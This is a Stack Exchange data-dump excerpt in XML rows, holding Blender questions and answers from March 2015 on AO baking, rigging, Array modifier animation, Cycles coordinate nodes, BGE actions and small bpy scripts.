  <row Id="27256" PostTypeId="2" ParentId="27171" CreationDate="2015-03-17T19:29:42.840" Score="3" Body="&lt;p&gt;For me it looks like a somehow artifact of Approximate method of calculating AO. If you slower &lt;code&gt;Error&lt;/code&gt; value in Approximate settings, you will likely get rid of this effect (and increase your baking time):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bW5lL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I added Edge Split modifier here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using Raytrace method (like it's already described &lt;a href=&quot;https://blender.stackexchange.com/questions/13956/how-do-you-bake-ambient-occlusion-for-a-model&quot;&gt;here&lt;/a&gt;), results will be similar, but at the same time you'll have more control over settings (actually, over baking time):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EwxCx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/35080&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-03-17T19:29:42.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27257" PostTypeId="2" ParentId="27255" CreationDate="2015-03-17T19:32:02.050" Score="6" Body="&lt;p&gt;Select Similar Face Regions will select all faces similar with the topology of your selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GwIQ0.png&quot; alt=&quot;Face Regions&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-03-17T19:32:02.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27258" PostTypeId="1" AcceptedAnswerId="27265" CreationDate="2015-03-17T19:37:14.953" Score="1" ViewCount="61" Body="&lt;p&gt;I am currently in pose mode trying to fix an issue, but something just made me curious: What does &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; do in pose mode? I have the following screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBlSC.png&quot; alt=&quot;Ctrl+A&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does each of these options do? Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="25" LastEditDate="2016-01-22T09:37:16.453" LastActivityDate="2016-01-22T09:37:16.453" Title="Ctrl+A in rigging?" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27259" PostTypeId="1" AcceptedAnswerId="27273" CreationDate="2015-03-17T19:38:53.970" Score="1" ViewCount="724" Body="&lt;p&gt;I want to achieve an effect simmmilar to one in &lt;a href=&quot;https://www.youtube.com/watch?v=gwIrto5IX-0&amp;amp;list=PLq8VbG4XkAtZQl6O4WJJhUZdXXm4QTgTR&quot; rel=&quot;nofollow&quot;&gt;THIS&lt;/a&gt; video. Basically I want to animate the scale of the specific (e.g. top ones) parts of objects' &quot;layers&quot;  created via Array modifier as well as the z value of them, so they appear as they are not all the same distance one from another...&lt;/p&gt;&#xA;" OwnerUserId="10986" LastEditorUserId="10986" LastEditDate="2015-06-03T11:35:31.207" LastActivityDate="2015-06-03T11:35:31.207" Title="How to animate dynamic scaling and z offset in Array modifier" Tags="&lt;animation&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27260" PostTypeId="1" AcceptedAnswerId="27263" CreationDate="2015-03-17T20:15:51.810" Score="1" ViewCount="3099" Body="&lt;p&gt;Warning: Many pictures! May be annoying... ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build together a rig where I can animate with armature most of the times, and fix something or add some specifics with mesh modifier. There are 2 problems with that. Let me explain my setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To represent my complex mesh I've created a cylinder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XTXWd.jpg&quot; alt=&quot;Complex-like mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I've assigned 2 vertex groups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kojy7.jpg&quot; alt=&quot;Vertex Groups&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then added 2 cubes to represent my mesh modifier cages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tXdMI.jpg&quot; alt=&quot;Cages&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then added mesh deform modifier to a cylinder to modify it with cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/be65Q.jpg&quot; alt=&quot;Mesh deform modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then added armature and rigged cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OMzpj.jpg&quot; alt=&quot;IniSetup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works good. My result is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GtcSn.jpg&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not quite what I want, but now I can go to edit mode and fix whatever I don't like. I can even animate changes with animall addon, but not with an ease that I would like to. So, I've added a hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wmt9s.jpg&quot; alt=&quot;Hook added&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, but now whenever I use armature, hook stays in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ROorj.jpg&quot; alt=&quot;Hook stays&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still can modify mesh with hook, but something that stays out of place would be bad in a real complex mesh situation. Just imagine 20 hooks are out of place and you don't really know what changes what... I tried to parent, to copy transforms, etc.,etc.,etc., but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I am manipulating a cage that is manipulating an object. So the 2nd problem comes when I want to manipulate an object directly with armature, and then fix with mesh deform modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I rig my model and not my mesh cage, then whenever I move my object with an armature the cage obviously stays in place like a hook, creating a mess and if I rig both, then it's obviously doubles all the deformations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/anXtm.jpg&quot; alt=&quot;MeshModArmature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend File if needed: &lt;a href=&quot;http://www.pasteall.org/blend/35081&quot; rel=&quot;nofollow noreferrer&quot;&gt;Test.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-03-18T07:41:06.077" Title="Complex mesh with armature and mesh deform modifier" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27261" PostTypeId="1" AcceptedAnswerId="27262" CreationDate="2015-03-17T20:16:58.533" Score="1" ViewCount="245" Body="&lt;p&gt;This may seem sort of confusing after you read the title, but it is fairly simple. First, look at the following handgun below (glock):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lssdH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Imagine I recreated this in blender, and I started rigging. Look at the magazine, it does not fall straight down. &lt;em&gt;It falls at an angle.&lt;/em&gt; How would I make a bone that controls a piece of the model (I know how to do this part), but can move it at an angle? Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-17T20:42:27.157" Title="How to make a sideways bone?" Tags="&lt;modeling&gt;&lt;game-engine&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27262" PostTypeId="2" ParentId="27261" CreationDate="2015-03-17T20:42:27.157" Score="3" Body="&lt;p&gt;Bones in blender are not limited to one axis, thus moving them along an angle is easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can constrain it to 2 axes (say X and Z by pressing SHIFT+Y after pressing G) when moving, and this is likely what you want. Insert a keyframe at the bone's resting position, then advance a few frames, and move the bone along the 2 axes so that it lines up with the grip. You can even start to rotate it after its exiting the grip. There is no need for it to follow the grip exactly, because this wont even happen in real life. Just move it approximately and you should get great results.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-03-17T20:42:27.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27263" PostTypeId="2" ParentId="27260" CreationDate="2015-03-17T20:47:17.127" Score="2" Body="&lt;p&gt;Your use of mesh deform is not really warranted here in my opinion. Keep your bones, maybe subdivide them into many smaller bones (in edit mode, &quot;w&quot; -&gt; subdivide). Then, change armature to object mode. Select cylinder, then shift+select armature, ctrl+p, &quot;with automatic weights&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should give you a nice smooth deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to use mesh deform, why do you use 2 cubes. It should be one mesh. I think a better explanation of your exact problem may assist in answering in a more detailed fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will add another note. Maybe a better solution for you is to use shape keys to correct issues after armature deform. There is another method, add object -&gt; lattice. In mesh panel subdivide it more. Then add modifier to your object -&gt; lattice and select the lattice you created as the source. You can parent the lattice to bones just fine.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-03-17T20:47:17.127" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27264" PostTypeId="2" ParentId="27251" CreationDate="2015-03-17T20:57:02.847" Score="2" Body="&lt;p&gt;Some tricks I use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid lights that have to bounce a lot to light your scene. Instead of a sunny exterior, consider making the window glass a light (ie make the emitter the last bounce in your system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use ambient occlusion option in world settings. It will brighten things up but start out less noisy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is your scene lit? It looks like there is not enough light. Try taking a photograph with no light it also looks grainy ;)&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-03-17T20:57:02.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27265" PostTypeId="2" ParentId="27258" CreationDate="2015-03-17T21:00:40.273" Score="2" Body="&lt;p&gt;The second option will apply the current transformations &lt;strong&gt;after&lt;/strong&gt; all constraints have acted upon the bone (ie IK constraint, limit rotations, track to, etc). This can be a way of &quot;applying&quot; bone constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly certain the bone will remain as is until you move keyframes or refresh the screen. If you apply the keyframe the constraints probably will reactivate so it may produce undesired behaviour.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-03-17T21:00:40.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27266" PostTypeId="1" AcceptedAnswerId="27303" CreationDate="2015-03-17T21:11:35.127" Score="1" ViewCount="3089" Body="&lt;p&gt;I have made a 3d curved cylinder in blender, Inlet diameter of cylinder is certain size, say: 25 meters and outlet diameter of cylinder is say: 7 meters, I want resize or define inlet dia to 0.95 mm and outlet diameter to 0.75 mm, &#xA;is it possible to do it in Blender? &lt;/p&gt;&#xA;" OwnerUserId="13220" LastActivityDate="2015-03-18T07:09:19.350" Title="How to define the diameter to a certain size" Tags="&lt;dimensions&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27267" PostTypeId="1" AcceptedAnswerId="27270" CreationDate="2015-03-17T21:15:19.910" Score="2" ViewCount="1612" Body="&lt;p&gt;I want to make a procedural planet shader in cycles, and I want to for example have some poles at the z+/z- direction and some deserts in the middle (equator). Is there any way I can get the actual coordinates (esecially the Z- one) in the node setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="13222" LastEditorUserId="241" LastEditDate="2015-03-17T21:28:03.187" LastActivityDate="2015-03-18T11:21:02.780" Title="Cycles Nodes - get actual coordinates" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27268" PostTypeId="2" ParentId="27250" CreationDate="2015-03-17T21:25:22.357" Score="1" Body="&lt;p&gt;Opening up a &lt;strong&gt;dope sheet&lt;/strong&gt; window allows you to view all keyframes that you've made, accidentally or otherwise. You can hit &lt;kbd&gt;A&lt;/kbd&gt; to deselect all the keyframes while hovering over the dope sheet; all frames are automatically selected. Hit &lt;kbd&gt;B&lt;/kbd&gt; to select the frames in question and then delete them.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-17T21:25:22.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27269" PostTypeId="1" CreationDate="2015-03-17T21:33:29.890" Score="1" ViewCount="734" Body="&lt;p&gt;See attached image. I'm not aware that this object had special settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WrDEv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-17T21:40:21.600" Title="What does blue object line mean?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27270" PostTypeId="2" ParentId="27267" CreationDate="2015-03-17T21:36:16.167" Score="6" Body="&lt;p&gt;This node setup allows procedural pole, tempered, desert on local Z axis based on cursor location (it should be at the center). So you can rotate, scale move in object mode without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a1XD2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1XD2h.jpg&quot; alt=&quot;node setup!&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The Object Texture Coordinates Outputs -1 to 1 coordinates for all local axis (origin=0, so the origin has to be at the center of the object). Then we separate XYZ vectors because we want the Z coordinates only. Using the Absolute node will give us a mirrored 1/0/1 along local Z.&lt;br&gt;&#xA;So now we have coordinates on Z that are 0 in the middle and 1 at each pole.&lt;br&gt;&#xA;The 1st mix node is controled by a 'Greater Than' Node 0.2 so the material will use 'Desert' input from 0 to 0.2 and 'Grass' if Z coordinate is greater than 0.2.&lt;br&gt;&#xA;The 2nd mix node will use the 1st mix and mixes it with 'Ice' if Z coordinate is greater than 0.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control where the limits are, just change the 'greater Than' values (0-1).&lt;br&gt;&#xA;&lt;strong&gt;But this setup will work only if your mesh sphere has a size of 2 units&lt;/strong&gt; (default, size of the object doesn't matter).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we want to fix this using the Generated coordinates.&#xA;The generated coordinates will give a 0/1 on each local axis, no matter where is the origin or the size.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SVyGh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SVyGhh.jpg&quot; alt=&quot;generated node setup!&quot;&gt;&lt;/a&gt;&#xA;Now we modify the coordinates with a 'subtract' 0.5 so we have -0.5/0.5, 'multiply' 2 to make it -1/+1 as before. This time the spere can be resized in object or edit mode, nothing will change!&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-03-18T11:21:02.780" LastActivityDate="2015-03-18T11:21:02.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27271" PostTypeId="2" ParentId="27269" CreationDate="2015-03-17T21:40:21.600" Score="1" Body="&lt;p&gt;Ok, figured it out. It is a rigid body joint, can be removed when you click the corresponding scene layer, and then pick the constraint panel (symbol with 2 chains) .&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-17T21:40:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27272" PostTypeId="1" AcceptedAnswerId="27544" CreationDate="2015-03-17T22:07:06.563" Score="1" ViewCount="552" Body="&lt;p&gt;I work with scientific pointclouds and I often have extra columns of data in my .ply files. For example, I might have a column for &quot;temperature&quot; where there is a temperature value for each point or mesh triangle. In a 3D package called CloudCompare, it's easy to hide parts of a pointcloud or mesh based on the value of one of these &quot;scalar fields.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar feature in Blender? If I have a .ply with extra columns, is there any way for me to, say, color the mesh by the value of that column, or use that column as the input to a python script?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2015-03-23T17:54:57.250" Title="Associate extra scalar data field with mesh or pointcloud" Tags="&lt;mesh&gt;&lt;file-format&gt;&lt;point-clouds&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27273" PostTypeId="2" ParentId="27259" CreationDate="2015-03-17T22:14:23.303" Score="3" Body="&lt;p&gt;Using an empty as &lt;strong&gt;Object offset&lt;/strong&gt; to control the array modifier will give you a lot of options.&#xA;If you play with the reltive offset you can get things like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMo0z.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the distance and size of the empty you'll control the relative distance of the cloned items in the array.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KM4GK.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;You can then add keyframes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5NsjA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding a lattice on the scene and a &lt;strong&gt;lattice modifier&lt;/strong&gt; to the plane to the stack you can further control the deformation (as in the opening of the video used as reference on the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ULqii.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-17T23:57:42.080" LastActivityDate="2015-03-17T23:57:42.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27274" PostTypeId="1" AcceptedAnswerId="27381" CreationDate="2015-03-17T23:08:26.940" Score="1" ViewCount="928" Body="&lt;p&gt;I'm loading the file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;logic.LibLoad(logic.expandPath('//car.blend'), 'Scene', verbose=True, load_actions=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get my object (without using &lt;code&gt;addObject()&lt;/code&gt; BTW, is it how it's done?) fine, I can basically do what I want with it. But I cannot seem to use its actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And&lt;/strong&gt; at loading time I can &lt;strong&gt;see&lt;/strong&gt; the action being loaded in the console output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SceneName: Scene&lt;br&gt;&#xA;  ActionName: Car.flipOver&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is how I start the action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    name = &quot;Car.flipOver&quot;&#xA;    start = 1.0&#xA;    end = 10.0&#xA;    layer = 0&#xA;    priority = 1&#xA;    blendin = 1.0&#xA;    mode = logic.KX_ACTION_MODE_PLAY&#xA;    layerWeight = 0.0&#xA;    ipoFlags = 1&#xA;    speed = 1.0&#xA;&#xA;    # (tests to see if the car is stuck)&#xA;&#xA;    self.playAction(name, start, end, layer, priority, blendin, mode, layerWeight, ipoFlags, speed)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not only the action does not play, I get no warning or error message of any kind! (at least when you omit the &lt;code&gt;load_action&lt;/code&gt; parameter you get a fair &quot;failed to load action&quot;).&lt;br&gt;&#xA;Can somebody explain to me how one can access actions in externally loaded .blend files.&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="2217" LastEditDate="2015-03-18T18:39:02.123" LastActivityDate="2015-03-19T17:15:06.107" Title="How to use playAction() on libloaded objects in BGE?" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27275" PostTypeId="2" ParentId="27245" CreationDate="2015-03-17T23:10:13.187" Score="4" Body="&lt;p&gt;The color of each character is determined by the material index on the text object. Therefore, to have each character use a different color from the color ramp requires a material for each color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps involved:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A material for each color in the color ramp node.&lt;/li&gt;&#xA;&lt;li&gt;The text object must have all the materials applied to it.&lt;/li&gt;&#xA;&lt;li&gt;The characters must reference the index of the materials.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This script takes the colors from a color ramp node, makes new materials and then assign each character a material.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;txt = 'Text' # The name of text object and text curve.&#xA;materials = bpy.data.objects[txt].data.materials&#xA;i = 0&#xA;&#xA;# This material holds the color ramp node, change 'material name' to the name of your material.&#xA;rampMat = 'material name'&#xA;colorRamp = bpy.data.materials[rampMat].node_tree.nodes['ColorRamp'].color_ramp.elements&#xA;&#xA;# Convert colors from the ramp to materials and add them to the text object.&#xA;for element in colorRamp:&#xA;    color = element.color&#xA;    material = bpy.data.materials.new('color')&#xA;    material.diffuse_color = color[0], color[1], color[2]&#xA;    materials.append(material)&#xA;&#xA;# Loop through the characters setting their indexes.&#xA;for character_format in bpy.data.curves[txt].body_format:&#xA;    character_format.material_index = i % len(materials)&#xA;    i += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n252v.png&quot; alt=&quot;regular text and colorRamp node with the colors&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJyJ4.png&quot; alt=&quot;colored text after running the above script.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-03-18T16:25:46.373" LastActivityDate="2015-03-18T16:25:46.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27276" PostTypeId="1" CreationDate="2015-03-17T23:12:52.050" Score="1" ViewCount="429" Body="&lt;p&gt;I am trying to make a custom panel with two text box which will be assigned to two different lists. However in my panel tool bar, whenever i change one text box, that other automatically changes. I know this is because I am calling both text boxes to &quot;my_string_prop&quot;, but everytime i change that name, the text box disappears. Additionally, are the word in the parenthesis key words and if show does anyone know where i can will the list for them. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class LayoutDemoPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the scene context of the properties editor&quot;&quot;&quot;&#xA;    bl_label = &quot;Layout Demo&quot;&#xA;    bl_idname = &quot;SCENE_PT_layout&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;    #bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        scene = context.scene&#xA;&#xA;&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;X-Points:&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;my_string_prop&quot;)&#xA;        list1 = [context.scene.my_string_prop]&#xA;        print (list1)&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Y-Points:&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;my_string_prop&quot; )&#xA;        list2 = [context.scene.my_string_prop]&#xA;        print(list2)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LayoutDemoPanel)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LayoutDemoPanel)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11292" LastEditorUserId="5113" LastEditDate="2015-03-17T23:18:55.777" LastActivityDate="2015-03-18T06:17:56.437" Title="Assigning Different names to a text box?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27278" PostTypeId="1" CreationDate="2015-03-17T23:22:29.127" Score="1" ViewCount="181" Body="&lt;p&gt;I'm working on developing a usable Blender pipeline for a project that my company is working on and have run into an issue with scene links. I'm not sure if it's a bug, if it's intentional, or if I'm just missing something - but I can't find a good solution through standard research methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation: Multiple consecutive shots in a sequence (for television) are receiving some CG props that we're making and animating in Blender. Since all of the shots are comprised of only two angles, we would like to be able to create .blend files for each shot that's linking in the model assets as well as the &quot;master&quot; world (HDR lighting) and render settings. Objects, groups, and worlds behave accordingly when linked, but when I link the master scene into the new project to take advantage of copied render nodes (which are extensive) and general Cycles settings, the project is completely locked with no option to make local. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This puts us in a jam, since we need to modify specific render settings like in/out frames, File Output directories, etc, but we DO want to be able to control a majority of the settings from one master project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it wasn't clear, this is the setup that we're ideally going for. Each (#) is a separate .blend file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Model/Shading/Texture (2) Rigging (3) World/Render Setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(4) &quot;Final&quot; project for animation which is linking in (1), (2), and (3). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way around this? I've even tried going in through the text editor for manual adjustments, but it can't be accessed from the locked scene link.&lt;/p&gt;&#xA;" OwnerUserId="13224" LastEditorUserId="2217" LastEditDate="2015-03-18T00:41:13.523" LastActivityDate="2015-03-18T00:41:13.523" Title="How can I adjust render settings on a scene being linked into a new project?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;workflow&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27279" PostTypeId="1" AcceptedAnswerId="27306" CreationDate="2015-03-18T00:51:36.087" Score="5" ViewCount="10168" Body="&lt;p&gt;So I just made a very short animation. what will be my youtube intro, its 20 frames long and the animation is very choppy. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://www.mediafire.com/?2k1y6ac0jcs0qjn&quot; rel=&quot;nofollow&quot;&gt;the video file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13225" LastEditorUserId="599" LastEditDate="2015-03-18T08:49:38.037" LastActivityDate="2016-06-10T01:09:46.183" Title="Why is my animation choppy when I render it?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;video&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27281" PostTypeId="2" ParentId="27249" CreationDate="2015-03-18T02:42:48.150" Score="3" Body="&lt;p&gt;This is because you aren't seeing all your objects in the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your object is parented to another object.&#xA;You'll noticed that when the object in question is selected, one of the inverted triangle icons next to the parent object is highlighted rather then another entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the + next to the parent object to expand the view and show that object's child objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EBLW3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-18T02:42:48.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27282" PostTypeId="1" CreationDate="2015-03-18T02:53:23.347" Score="2" ViewCount="3197" Body="&lt;p&gt;The white arrow in attached image, what does it mean? I use Windows and there is no tool tip with info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5TOv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-18T03:01:54.217" Title="What does this icon mean?" Tags="&lt;layers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
